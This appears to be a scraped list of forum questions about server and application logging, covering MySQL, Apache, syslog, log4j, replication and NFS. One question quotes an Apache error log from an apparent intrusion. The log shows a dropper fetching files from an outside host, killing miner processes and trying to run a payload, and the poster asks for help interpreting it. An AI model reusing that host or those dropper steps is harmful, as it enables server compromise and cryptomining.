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• Slow Query log for just one database

  - by Jason

  can I enable the slow query log specifically for just one database? What I've done currently is to take the entire log into excel and then run a pivot report to work out which database is the slowest. So i've gone and done some changes to that application in the hope of reducing the slow query occurence. rather than running my pivot report again which took a bit of time to cleanse the data i'd rather just output slow queries from the one database possible?

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• Configure WHM/Cpanel Based Server To Have a Global Apache Access Log

  - by macinjosh

  How do you configure a linux server based on WHM/Cpanel to keep an Apache access log that is contains information from all the virtual hosts on the server? And once this is setup ow do you ensure that it gets included in the log rotations done by Cpanel?

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• logging conntrack connection values into log file

  - by seaquest

  Linux netfilter iptables Conntrack table already has records for bytes and packets on both directions. Is there any way to log those values to a log file while a connection is closing by netfilter. tcp 6 430619 ESTABLISHED src=192.168.0.145 dst=33.42.42.42 sport=53601 dport=22 packets=66560 bytes=14800077 src=33.42.42.42 dst=192.168.1.2 sport=22 dport=53601 packets=89726 bytes=68403910 [ASSURED] mark=0 use=1

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• missing user name in apache log file

  - by nani

  hy every body, We have dokeos application using apache as the web server. when accessing dokeos we have to login, So users who try to access this application , has to login using ID & pwd. But I don't have this ID information in the apache webserver log files. I mean "user name" information is not getting into the log files. Thanks.

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• Windows - How to remotely watch log files

  - by weismat

  I would like to look at some log files solely via the console on a standard Windows 7 machine. The logs are created by schedulded tasks and I find it a hazzle to use VNC for this purpose. What technology should I look at? Powershell, Cygwin via ssh or something else? The log files are written using log4Net - thus there might also be an easy way to reconfigure it to create events or something else for remote display.

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• Apache error log interpretation

  - by HTF

  It looks like someone gained access to my server. How I can find out which Apache vHosts this log is related to? How these commands from the log are invoked and how/why they are printed to the log file - is this some remote shell or PHP script? /var/log/httpd/error_log mkdir: cannot create directory `/tmp/.kdso': File exists --2014-06-13 13:29:17-- http://updates.dyndn-web.com/abc.txt Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5055 (4.9K) [text/plain] Saving to: `abc.txt' 0K .... 100% 303K=0.02s 2014-06-13 13:29:17 (303 KB/s) - `abc.txt' saved [5055/5055] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed ^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M101 5055 101 5055 0 0 79686 0 --:--:-- --:--:-- --:--:-- 154k minerd64: no process killed minerd32: no process killed named: no process killed kernelupdates: no process killed kernelcfg: no process killed kernelorg: no process killed ls: cannot access /tmp/.ICE-unix: No such file or directory mkdir: cannot create directory `/tmp': File exists --2014-06-13 13:29:18-- http://updates.dyndn-web.com/64.tar.gz Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 205812 (201K) [application/x-tar] Saving to: `64.tar.gz' 0K .......... .......... .......... .......... .......... 24% 990K 0s 50K .......... .......... .......... .......... .......... 49% 2.74M 0s 100K .......... .......... .......... .......... .......... 74% 2.96M 0s 150K .......... .......... .......... .......... .......... 99% 3.49M 0s 200K 100% 17.4M=0.1s 2014-06-13 13:29:18 (1.99 MB/s) - `64.tar.gz' saved [205812/205812] sh: ./kernelupgrade: Permission denied

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• Transaction Log filling up on SQL database set to Simple

  - by Will

  We have a database on a SQL 2005 server that is set to Simple transaction mode. The logging is set to 1 MB and is set to grow by 10% when it needs to. We keep running into an issue where the transaction log fills up and we need to shrink it. What could cause the transaction log to fill up when its set to Simple and unrestricted growth is allowed?

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• How to log size of cookies in request header with apache

  - by chrisst

  We have an issue on our site with cookies growing too large. We have already expanded the acceptable header size and throttled the cookie sizes for now, but I'd like to figure out what the average client's header sizes are, specifically of the cookies. I've created an apache log that captures the cookies being set on each request: LogFormat "%{Cookie}i" cookies But this just spits out the entire contents of all cookies in the header. Is there a way to have apache just log the size (or just length of the string) per request?

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• Log viewer server and client

  - by Scott Crooks

  I'm looking for a log viewing solution for (mostly) Linux and (preferably) Windows too. I want to be able to centralize the log information for a lot of servers so that people in the company can see what's going on for different servers. I would guess this would involve having a central server which accepts information from the various computers / virtual machines with (perhaps) a running daemon on each of the servers. Does such a software exist?

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• How to log all sql going through JBoss datasource with log4j

  - by Ichorus

  I've looked at log4jdbc (which does not support datasources), p6spy which seems to be what I am looking for but it has not been updated since 2003 which makes me nervous and lists only JBoss 3.x (we use JBoss 5), and JAMon which seems heavyweight for what I am trying to accomplish (a simple log of all SQL statements running through a JBoss application server). I was hoping that JBoss itself would have a switch to log all the sql (as Websphere does) but I cannot find any documentation for it so that functionality might not exist.

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• Automatically log off idle Windows 7 console sessions

  - by Josh G

  We have a number of shared computers that users never seem to log out of. Am I correct that there is no built in functionality to automatically log off console sessions after an idle timeout? I've seen two suggestions: a logoff screensaver, and a scheduled task with an idle trigger. Will the idle trigger work if only the session is idle, but the computer is in use with a different session? Is there a better way to go about this? Thanks,

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• Remove some junk characters from server console log.

  - by Jayakrishnan T

  Please look in to the picture,here am trying to open(with vi editor) my server console log file(around 100MB) and it takes more than two minutes to open with so many special characters.after deleting the first line (means typing "dd")then i can easily view the file and size of the file is also reduced very much.My server OS is RHEL 5.4 and jboss is running in to it. Please help me to avoid such junk characters coming to my server console log files and it helps me to save my valuable space in server.

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• Can't log into Windows XP

  - by lamcro

  Immediately after choosing an account, and starting to log in, it shows the logging out message and goes back to the account selection display. This even happened in safe mode with the administrator's account. So I can't log in. I'll be using a Linux Live CD to extract the laptop's data. Could this be a virus or a hard disk problem? And what should I do?

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• Event Log time when Computer Start up / boot up

  - by Param

  Client OS - Window XP Domain Controller:- Window server 2008 Standard R2 I had one Window XP system, i want to find out when the system has started or boot ( at what time and at which date ). I don't know which parameter / word should i search in Event Log. For finding out shutdown time, i simply find the word "Shutdown" in Event Log. Can you guide me which word should i find for finding Start up or boot time

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• Redirect network logs from syslog to another file

  - by w0rldart

  I keep logging way to much info (not needed, for now) in my syslog, and not daily or hourly... but instant. If I want to watch for something in my syslog I just can't because the network log keeps interfering. So, how can I redirect network logs to another file and/or stop logging it? Dec 10 17:01:33 user kernel: [ 8716.000587] MediaState is connected Dec 10 17:01:33 user kernel: [ 8716.000599] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:01:33 user kernel: [ 8716.000601] ==>rt_ioctl_giwfreq 11 Dec 10 17:01:33 user kernel: [ 8716.000612] rt28xx_get_wireless_stats ---> Dec 10 17:01:33 user kernel: [ 8716.000615] <--- rt28xx_get_wireless_stats Dec 10 17:01:39 user kernel: [ 8722.000714] MediaState is connected Dec 10 17:01:39 user kernel: [ 8722.000729] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:01:39 user kernel: [ 8722.000732] ==>rt_ioctl_giwfreq 11 Dec 10 17:01:39 user kernel: [ 8722.000747] rt28xx_get_wireless_stats ---> Dec 10 17:01:39 user kernel: [ 8722.000751] <--- rt28xx_get_wireless_stats Dec 10 17:01:44 user kernel: [ 8726.904025] QuickDRS: TxTotalCnt <= 15, train back to original rate Dec 10 17:01:45 user kernel: [ 8728.003138] MediaState is connected Dec 10 17:01:45 user kernel: [ 8728.003153] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:01:45 user kernel: [ 8728.003157] ==>rt_ioctl_giwfreq 11 Dec 10 17:01:45 user kernel: [ 8728.003171] rt28xx_get_wireless_stats ---> Dec 10 17:01:45 user kernel: [ 8728.003175] <--- rt28xx_get_wireless_stats Dec 10 17:01:51 user kernel: [ 8734.004066] MediaState is connected Dec 10 17:01:51 user kernel: [ 8734.004079] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:01:51 user kernel: [ 8734.004082] ==>rt_ioctl_giwfreq 11 Dec 10 17:01:51 user kernel: [ 8734.004096] rt28xx_get_wireless_stats ---> Dec 10 17:01:51 user kernel: [ 8734.004099] <--- rt28xx_get_wireless_stats Dec 10 17:01:57 user kernel: [ 8740.004108] MediaState is connected Dec 10 17:01:57 user kernel: [ 8740.004119] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:01:57 user kernel: [ 8740.004121] ==>rt_ioctl_giwfreq 11 Dec 10 17:01:57 user kernel: [ 8740.004132] rt28xx_get_wireless_stats ---> Dec 10 17:01:57 user kernel: [ 8740.004135] <--- rt28xx_get_wireless_stats Dec 10 17:01:57 user kernel: [ 8740.436021] QuickDRS: TxTotalCnt <= 15, train back to original rate Dec 10 17:02:03 user kernel: [ 8746.005280] MediaState is connected Dec 10 17:02:03 user kernel: [ 8746.005294] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:02:03 user kernel: [ 8746.005298] ==>rt_ioctl_giwfreq 11 Dec 10 17:02:03 user kernel: [ 8746.005312] rt28xx_get_wireless_stats ---> Dec 10 17:02:03 user kernel: [ 8746.005315] <--- rt28xx_get_wireless_stats Dec 10 17:02:09 user kernel: [ 8752.004790] MediaState is connected Dec 10 17:02:09 user kernel: [ 8752.004804] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:02:09 user kernel: [ 8752.004808] ==>rt_ioctl_giwfreq 11 Dec 10 17:02:09 user kernel: [ 8752.004821] rt28xx_get_wireless_stats ---> Dec 10 17:02:09 user kernel: [ 8752.004825] <--- rt28xx_get_wireless_stats Dec 10 17:02:15 user kernel: [ 8757.984031] QuickDRS: TxTotalCnt <= 15, train back to original rate Dec 10 17:02:15 user kernel: [ 8758.004078] MediaState is connected Dec 10 17:02:15 user kernel: [ 8758.004094] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:02:15 user kernel: [ 8758.004097] ==>rt_ioctl_giwfreq 11 Dec 10 17:02:15 user kernel: [ 8758.004112] rt28xx_get_wireless_stats ---> Dec 10 17:02:15 user kernel: [ 8758.004116] <--- rt28xx_get_wireless_stats Dec 10 17:02:16 user kernel: [ 8759.492017] QuickDRS: TxTotalCnt <= 15, train back to original rate Dec 10 17:02:19 user kernel: [ 8762.002179] SCANNING, suspend MSDU transmission ... Dec 10 17:02:19 user kernel: [ 8762.004291] MlmeScanReqAction -- Send PSM Data frame for off channel RM, SCAN_IN_PROGRESS=1! Dec 10 17:02:19 user kernel: [ 8762.025055] SYNC - BBP R4 to 20MHz.l Dec 10 17:02:19 user kernel: [ 8762.027249] RT35xx: SwitchChannel#1(RF=8, Pwr0=30, Pwr1=25, 2T), N=0xF1, K=0x02, R=0x02 Dec 10 17:02:19 user kernel: [ 8762.170206] RT35xx: SwitchChannel#2(RF=8, Pwr0=30, Pwr1=25, 2T), N=0xF1, K=0x07, R=0x02 Dec 10 17:02:19 user kernel: [ 8762.318211] RT35xx: SwitchChannel#3(RF=8, Pwr0=30, Pwr1=25, 2T), N=0xF2, K=0x02, R=0x02 Dec 10 17:02:19 user kernel: [ 8762.462269] RT35xx: SwitchChannel#4(RF=8, Pwr0=30, Pwr1=25, 2T), N=0xF2, K=0x07, R=0x02 Dec 10 17:02:19 user kernel: [ 8762.606229] RT35xx: SwitchChannel#5(RF=8, Pwr0=30, Pwr1=25, 2T), N=0xF3, K=0x02, R=0x02 Dec 10 17:02:19 user kernel: [ 8762.750202] RT35xx: SwitchChannel#6(RF=8, Pwr0=30, Pwr1=25, 2T), N=0xF3, K=0x07, R=0x02 Dec 10 17:02:20 user kernel: [ 8762.894217] RT35xx: SwitchChannel#7(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF4, K=0x02, R=0x02 Dec 10 17:02:20 user kernel: [ 8763.038202] RT35xx: SwitchChannel#11(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF6, K=0x02, R=0x02 Dec 10 17:02:20 user kernel: [ 8763.040194] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:20 user kernel: [ 8763.040199] BAR(1) : Tid (0) - 03a3:037e Dec 10 17:02:20 user kernel: [ 8763.040387] SYNC - End of SCAN, restore to channel 11, Total BSS[03] Dec 10 17:02:20 user kernel: [ 8763.040400] ScanNextChannel -- Send PSM Data frame Dec 10 17:02:20 user kernel: [ 8763.040402] bFastRoamingScan ~~~~~~~~~~~~~ Get back to send data ~~~~~~~~~~~~~ Dec 10 17:02:20 user kernel: [ 8763.040405] SCAN done, resume MSDU transmission ... Dec 10 17:02:20 user kernel: [ 8763.047022] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:20 user kernel: [ 8763.047026] BAR(1) : Tid (0) - 03a3:03a5 Dec 10 17:02:21 user kernel: [ 8763.898130] bImprovedScan ............. Resume for bImprovedScan, SCAN_PENDING .............. Dec 10 17:02:21 user kernel: [ 8763.898143] SCANNING, suspend MSDU transmission ... Dec 10 17:02:21 user kernel: [ 8763.900245] MlmeScanReqAction -- Send PSM Data frame for off channel RM, SCAN_IN_PROGRESS=1! Dec 10 17:02:21 user kernel: [ 8763.921144] SYNC - BBP R4 to 20MHz.l Dec 10 17:02:21 user kernel: [ 8763.923339] RT35xx: SwitchChannel#8(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF4, K=0x07, R=0x02 Dec 10 17:02:21 user kernel: [ 8763.996019] QuickDRS: TxTotalCnt <= 15, train back to original rate Dec 10 17:02:21 user kernel: [ 8764.066221] RT35xx: SwitchChannel#9(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF5, K=0x02, R=0x02 Dec 10 17:02:21 user kernel: [ 8764.210212] RT35xx: SwitchChannel#10(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF5, K=0x07, R=0x02 Dec 10 17:02:21 user kernel: [ 8764.215536] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:21 user kernel: [ 8764.215542] BAR(1) : Tid (0) - 0457:0452 Dec 10 17:02:21 user kernel: [ 8764.244000] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:21 user kernel: [ 8764.244004] BAR(1) : Tid (0) - 0459:0456 Dec 10 17:02:21 user kernel: [ 8764.253019] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:21 user kernel: [ 8764.253023] BAR(1) : Tid (0) - 045c:0458 Dec 10 17:02:21 user kernel: [ 8764.256677] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:21 user kernel: [ 8764.256681] BAR(1) : Tid (0) - 045c:045b Dec 10 17:02:21 user kernel: [ 8764.259785] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:21 user kernel: [ 8764.259788] BAR(1) : Tid (0) - 045d:045b Dec 10 17:02:21 user kernel: [ 8764.280467] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:21 user kernel: [ 8764.280471] BAR(1) : Tid (0) - 045f:045c Dec 10 17:02:21 user kernel: [ 8764.282189] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:21 user kernel: [ 8764.282192] BAR(1) : Tid (0) - 045f:045e Dec 10 17:02:21 user kernel: [ 8764.354204] RT35xx: SwitchChannel#11(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF6, K=0x02, R=0x02 Dec 10 17:02:21 user kernel: [ 8764.356408] ScanNextChannel():Send PWA NullData frame to notify the associated AP! Dec 10 17:02:21 user kernel: [ 8764.498202] RT35xx: SwitchChannel#12(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF6, K=0x07, R=0x02 Dec 10 17:02:21 user kernel: [ 8764.642210] RT35xx: SwitchChannel#13(RF=8, Pwr0=30, Pwr1=28, 2T), N=0xF7, K=0x02, R=0x02 Dec 10 17:02:22 user kernel: [ 8764.790229] RT35xx: SwitchChannel#14(RF=8, Pwr0=30, Pwr1=28, 2T), N=0xF8, K=0x04, R=0x02 Dec 10 17:02:22 user kernel: [ 8764.934238] RT35xx: SwitchChannel#11(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF6, K=0x02, R=0x02 Dec 10 17:02:22 user kernel: [ 8764.935243] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:22 user kernel: [ 8764.935249] BAR(1) : Tid (0) - 048e:0485 Dec 10 17:02:22 user kernel: [ 8764.936423] SYNC - End of SCAN, restore to channel 11, Total BSS[05] Dec 10 17:02:22 user kernel: [ 8764.936436] ScanNextChannel -- Send PSM Data frame Dec 10 17:02:22 user kernel: [ 8764.936440] SCAN done, resume MSDU transmission ... Dec 10 17:02:22 user kernel: [ 8764.940529] RT35xx: SwitchChannel#11(RF=8, Pwr0=29, Pwr1=26, 2T), N=0xF6, K=0x02, R=0x02 Dec 10 17:02:22 user kernel: [ 8764.942178] CntlEnqueueForRecv(): BAR-Wcid(1), Tid (0) Dec 10 17:02:22 user kernel: [ 8764.942182] BAR(1) : Tid (0) - 0493:048e Dec 10 17:02:22 user kernel: [ 8764.942715] CNTL - All roaming failed, restore to channel 11, Total BSS[05] Dec 10 17:02:22 user kernel: [ 8764.948016] MMCHK - No BEACON. restore R66 to the low bound(56) Dec 10 17:02:22 user kernel: [ 8764.948307] ===>rt_ioctl_giwscan. 5(5) BSS returned, data->length = 1111 Dec 10 17:02:23 user kernel: [ 8766.048073] QuickDRS: TxTotalCnt <= 15, train back to original rate Dec 10 17:02:23 user kernel: [ 8766.552034] QuickDRS: TxTotalCnt <= 15, train back to original rate Dec 10 17:02:27 user kernel: [ 8770.001180] MediaState is connected Dec 10 17:02:27 user kernel: [ 8770.001197] ==>rt_ioctl_giwmode(mode=2) Dec 10 17:02:27 user kernel: [ 8770.001201] ==>rt_ioctl_giwfreq 11 Dec 10 17:02:27 user kernel: [ 8770.001219] rt28xx_get_wireless_stats ---> Dec 10 17:02:27 user kernel: [ 8770.001223] <--- rt28xx_get_wireless_stats Dec 10 17:02:28 user kernel: [ 8771.564020] QuickDRS: TxTotalCnt <= 15, train back to original rate Dec 10 17:02:29 user kernel: [ 8772.064031] QuickDRS: TxTotalCnt <= 15, train back to original rate

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• Modify the Event Log Source name for an SSIS package

  - by Paul Kohler

  I have an SQL Server integration Services (SSIS) package using the standard Event Log provider (yes, the event log! I know we can use SQL etc...) The default "Source" of the log events is "SQLISPackage100" but I want it to be something like "AppName" so that the errors are more visible between the different packages when viewing the event log (also for MOM use). Event Type: Error Event Source: SQLISPackage100 Event Category: None ... Description: Package "Foo" failed. I hope the answer is simple, I simply cannot find it, but does anyone know how to change the text of the Event Log Source name to something more meaningful? PK :-)

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• Log to rolling CSV file with Enterprise Library

  - by Tinminator

  Need logging to: Rolling file, to avoid 1 big log file. CSV format for easier look up. I can see EntLib (5.0) have Microsoft.Practices.EnterpriseLibrary.Logging.TraceListeners.RollingFlatFileTraceListener to log to rolling log file. To make the log entries look like a CSV row, I can change the Logging.Formatters.TextFormatter.Template to put double quote around the values. Also change the Listener's Footer and Header to nothing, so they won't be output. Under normal circumstance, this would give me a well formed CSV file. However if a token value in the Template contain double quote, this would not be escaped, hence the log file become an invalid CSV file. Is there any way to resolve this? Is there any alternative solutions to this problem?

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• Logging from multiple apps/processes to a single log file

  - by Andrew

  Our app servers (weblogic) all use log4j to log to the same file on a network share. On top of this we have all web apps in a managed server logging errors to a common error.log. I can't imagine this is a good idea but wanted to hear from some pros. I know that each web app has its own classloader, so any thread synchronization only occurs within the app. So what happens when multiple processes start converging on a single log file? Can we expect interspersed log statements? Performance problems? What about multiple web apps logging to a common log file? The environment is Solaris.

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• Formatting Log File Messages

  - by Kumar

  This is about formatting the messages for logging so as to subsequently be able to parse them relatively easily esp. given the extensive logging required in financial apps Typically a line in the log file is of the form TimeStamp: Module/Function: where the log string contains whatever you choose, typically you'd have some key=value paradigm or even johnny5 key {value} etc. A regex search through the log file might easily pick up Module/Function but enforcing and maintaing consistency on the log string itself for every developer on the team is often a pain The logging api's are typically ILog.LogInfo(string text, params object[] args) ILog.LogWarning(string text, params object[] args) ILog.LogError(string text, params object[] args) Looking for opinions on better logging api's to format the log messages where a regex search can be performed for Module/Function = Basket/AddItem TokenA = Value1 and TokenB = Value2 etc. without going over every developer's every logging call

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• O(log N) == O(1) - Why not?

  - by phoku

  Whenever I consider algorithms/data structures I tend to replace the log(N) parts by constants. Oh, I know log(N) diverges - but does it matter in real world applications? log(infinity) < 100 for all practical purposes. I am really curious for real world examples where this doesn't hold. To clarify: I understand O(f(N)) I am curious about real world examples where the asymptotic behaviour matters more than the constants of the actual performance. If log(N) can be replaced by a constant it still can be replaced by a constant in O( N log N). This question is for the sake of (a) entertainment and (b) to gather arguments to use if I run (again) into a controversy about the performance of a design.

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• how to log digester with apache commons?

  - by Bruce

  Hi all I'm having trouble getting digester to log anything. I'd be hugely grateful for any light anyone can shed. In my code I'm doing this: Digester digester = new Digester(); .. some digester set up stuff // What on earth should go in here???? digester.setLogger(LogFactory.getLog("org.apache.commons.logging.Log")); I have a commons-logging.properties file in my classpath as follows: org.apache.commons.logging.Log=org.apache.commons.logging.impl.SimpleLog org.apache.commons.logging.simplelog.log.org.apache.commons.digester.Digester=debug org.apache.commons.logging.simplelog.log.org.apache.commons.digester.Digester.sax=info I just get no debug info at all.. Thanks for your help!

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• MySQL log files deletion

  - by aneez

  I have a master and slave database running on different nodes. The master DB is subjected to huge no. of inserts/updates. The master DB size is close to 6 GB, while the log files are now occupying a space of more than 120 GB. I am running out of disk space and need to get rid of the log files. Will deleting the log files in anyway affect the slave DB ? Presently, the slave is just a couple of seconds behind the master. Is there someplace where I can see what steps I need to follow to delete those files eg. 1)Shut down the slave 2)Shut down the master 3)Delete the log files 4)Start the Master 5)Start the Slave Do I need to inform the slave that the log files have been deleted ?? If yes, what is the way to do it ? Any help would be appreciated. Thanks

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• Problem setting up Master-Master Replication in MySQL

  - by Andrew

  I am attempting to setup Master-Master Replication on two MySQL database servers. I have followed the steps in this guide, but it fails in the middle of Step 4 with SHOW MASTER STATUS; It simply returns an empty set. I get the same 3 errors in both servers' logs. MySQL errors on SQL1: [ERROR] Failed to open the relay log './sql1-relay-bin.000001' (relay_log_pos 4) [ERROR] Could not find target log during relay log initialization [ERROR] Failed to initialize the master info structure MySQL Errors on SQL2: [ERROR] Failed to open the relay log './sql2-relay-bin.000001' (relay_log_pos 4) [ERROR] Could not find target log during relay log initialization [ERROR] Failed to initialize the master info structure The errors make no sense because I'm not referencing those files in any of my configurations. I'm using Ubuntu Server 10.04 x64 and my configuration files are copied below. I don't know where to go from here or how to troubleshoot this. Please help. Thanks. /etc/mysql/my.cnf on SQL1: # # The MySQL database server configuration file. # # You can copy this to one of: # - "/etc/mysql/my.cnf" to set global options, # - "~/.my.cnf" to set user-specific options. # # One can use all long options that the program supports. # Run program with --help to get a list of available options and with # --print-defaults to see which it would actually understand and use. # # For explanations see # http://dev.mysql.com/doc/mysql/en/server-system-variables.html # This will be passed to all mysql clients # It has been reported that passwords should be enclosed with ticks/quotes # escpecially if they contain "#" chars... # Remember to edit /etc/mysql/debian.cnf when changing the socket location. [client] port = 3306 socket = /var/run/mysqld/mysqld.sock # Here is entries for some specific programs # The following values assume you have at least 32M ram # This was formally known as [safe_mysqld]. Both versions are currently parsed. [mysqld_safe] socket = /var/run/mysqld/mysqld.sock nice = 0 [mysqld] # # * Basic Settings # # # * IMPORTANT # If you make changes to these settings and your system uses apparmor, you may # also need to also adjust /etc/apparmor.d/usr.sbin.mysqld. # user = mysql socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp skip-external-locking # # Instead of skip-networking the default is now to listen only on # localhost which is more compatible and is not less secure. bind-address = <SQL1's IP> # # * Fine Tuning # key_buffer = 16M max_allowed_packet = 16M thread_stack = 192K thread_cache_size = 8 # This replaces the startup script and checks MyISAM tables if needed # the first time they are touched myisam-recover = BACKUP #max_connections = 100 #table_cache = 64 #thread_concurrency = 10 # # * Query Cache Configuration # query_cache_limit = 1M query_cache_size = 16M # # * Logging and Replication # # Both location gets rotated by the cronjob. # Be aware that this log type is a performance killer. # As of 5.1 you can enable the log at runtime! #general_log_file = /var/log/mysql/mysql.log #general_log = 1 log_error = /var/log/mysql/error.log # Here you can see queries with especially long duration #log_slow_queries = /var/log/mysql/mysql-slow.log #long_query_time = 2 #log-queries-not-using-indexes # # The following can be used as easy to replay backup logs or for replication. # note: if you are setting up a replication slave, see README.Debian about # other settings you may need to change. server-id = 1 replicate-same-server-id = 0 auto-increment-increment = 2 auto-increment-offset = 1 master-host = <SQL2's IP> master-user = slave_user master-password = "slave_password" master-connect-retry = 60 replicate-do-db = db1 log-bin= /var/log/mysql/mysql-bin.log binlog-do-db = db1 binlog-ignore-db = mysql relay-log = /var/lib/mysql/slave-relay.log relay-log-index = /var/lib/mysql/slave-relay-log.index expire_logs_days = 10 max_binlog_size = 500M # # * InnoDB # # InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/. # Read the manual for more InnoDB related options. There are many! # # * Security Features # # Read the manual, too, if you want chroot! # chroot = /var/lib/mysql/ # # For generating SSL certificates I recommend the OpenSSL GUI "tinyca". # # ssl-ca=/etc/mysql/cacert.pem # ssl-cert=/etc/mysql/server-cert.pem # ssl-key=/etc/mysql/server-key.pem [mysqldump] quick quote-names max_allowed_packet = 16M [mysql] #no-auto-rehash # faster start of mysql but no tab completition [isamchk] key_buffer = 16M # # * IMPORTANT: Additional settings that can override those from this file! # The files must end with '.cnf', otherwise they'll be ignored. # !includedir /etc/mysql/conf.d/ /etc/mysql/my.cnf on SQL2: # # The MySQL database server configuration file. # # You can copy this to one of: # - "/etc/mysql/my.cnf" to set global options, # - "~/.my.cnf" to set user-specific options. # # One can use all long options that the program supports. # Run program with --help to get a list of available options and with # --print-defaults to see which it would actually understand and use. # # For explanations see # http://dev.mysql.com/doc/mysql/en/server-system-variables.html # This will be passed to all mysql clients # It has been reported that passwords should be enclosed with ticks/quotes # escpecially if they contain "#" chars... # Remember to edit /etc/mysql/debian.cnf when changing the socket location. [client] port = 3306 socket = /var/run/mysqld/mysqld.sock # Here is entries for some specific programs # The following values assume you have at least 32M ram # This was formally known as [safe_mysqld]. Both versions are currently parsed. [mysqld_safe] socket = /var/run/mysqld/mysqld.sock nice = 0 [mysqld] # # * Basic Settings # # # * IMPORTANT # If you make changes to these settings and your system uses apparmor, you may # also need to also adjust /etc/apparmor.d/usr.sbin.mysqld. # user = mysql socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp skip-external-locking # # Instead of skip-networking the default is now to listen only on # localhost which is more compatible and is not less secure. bind-address = <SQL2's IP> # # * Fine Tuning # key_buffer = 16M max_allowed_packet = 16M thread_stack = 192K thread_cache_size = 8 # This replaces the startup script and checks MyISAM tables if needed # the first time they are touched myisam-recover = BACKUP #max_connections = 100 #table_cache = 64 #thread_concurrency = 10 # # * Query Cache Configuration # query_cache_limit = 1M query_cache_size = 16M # # * Logging and Replication # # Both location gets rotated by the cronjob. # Be aware that this log type is a performance killer. # As of 5.1 you can enable the log at runtime! #general_log_file = /var/log/mysql/mysql.log #general_log = 1 log_error = /var/log/mysql/error.log # Here you can see queries with especially long duration #log_slow_queries = /var/log/mysql/mysql-slow.log #long_query_time = 2 #log-queries-not-using-indexes # # The following can be used as easy to replay backup logs or for replication. # note: if you are setting up a replication slave, see README.Debian about # other settings you may need to change. server-id = 2 replicate-same-server-id = 0 auto-increment-increment = 2 auto-increment-offset = 2 master-host = <SQL1's IP> master-user = slave_user master-password = "slave_password" master-connect-retry = 60 replicate-do-db = db1 log-bin= /var/log/mysql/mysql-bin.log binlog-do-db = db1 binlog-ignore-db = mysql relay-log = /var/lib/mysql/slave-relay.log relay-log-index = /var/lib/mysql/slave-relay-log.index expire_logs_days = 10 max_binlog_size = 500M # # * InnoDB # # InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/. # Read the manual for more InnoDB related options. There are many! # # * Security Features # # Read the manual, too, if you want chroot! # chroot = /var/lib/mysql/ # # For generating SSL certificates I recommend the OpenSSL GUI "tinyca". # # ssl-ca=/etc/mysql/cacert.pem # ssl-cert=/etc/mysql/server-cert.pem # ssl-key=/etc/mysql/server-key.pem [mysqldump] quick quote-names max_allowed_packet = 16M [mysql] #no-auto-rehash # faster start of mysql but no tab completition [isamchk] key_buffer = 16M # # * IMPORTANT: Additional settings that can override those from this file! # The files must end with '.cnf', otherwise they'll be ignored. # !includedir /etc/mysql/conf.d/

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• fatal error LNK1104: cannot open file 'libboost_system-vc90-mt-gd-1_43.lib'

  - by Poni

  Made a new project, added main.cpp and wrote the code at this URL: http://www.boost.org/doc/libs/1_43_0/doc/html/boost_asio/example/echo/async_tcp_echo_server.cpp Also, added the appropriate include path. What's next?!?!! It seems like a darn mystery to build a boost code! Been digging on it for more than 10 hours. Can anyone give a straightforward answer on how to build the boost library from the code under windows, VC9? God bless you all.

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• mount.nfs: access denied by server while mounting (null), can't find any log information

  - by Mark0978

  Two ubuntu servers: 10.0.8.2 is the client, 192.168.20.58 is the server. Between the 2 machines, Ping works, ssh works (in both directions). From 10.0.8.2 showmount -e 192.168.20.58 Export list for 192.168.20.58: /imr/nfsshares/foobar 10.0.8.2 mount.nfs 192.168.20.58:/imr/nfsshares/foobar /var/data/foobar -v mount.nfs: access denied by server while mounting (null) Found several things online, tried them all and still can't find any log information anywhere. On the server: [email protected]:/var/log# cat /etc/hosts.allow sendmail: all ALL: 10.0.8.2 /etc/hosts.deny is all comments How can I get a trail of log statements to figure this out? What does it take to get some logging so I have some idea of WHY it won't mount? On the server: [email protected]# nmap -sR RPC 192.168.20.58 Starting Nmap 5.21 ( http://nmap.org ) at 2012-07-04 21:16 CDT Failed to resolve given hostname/IP: RPC. Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges Nmap scan report for 192.168.20.58 Host is up (0.0000060s latency). Not shown: 988 closed ports PORT STATE SERVICE VERSION 22/tcp open unknown 80/tcp open unknown 111/tcp open unknown 139/tcp open unknown 445/tcp open unknown 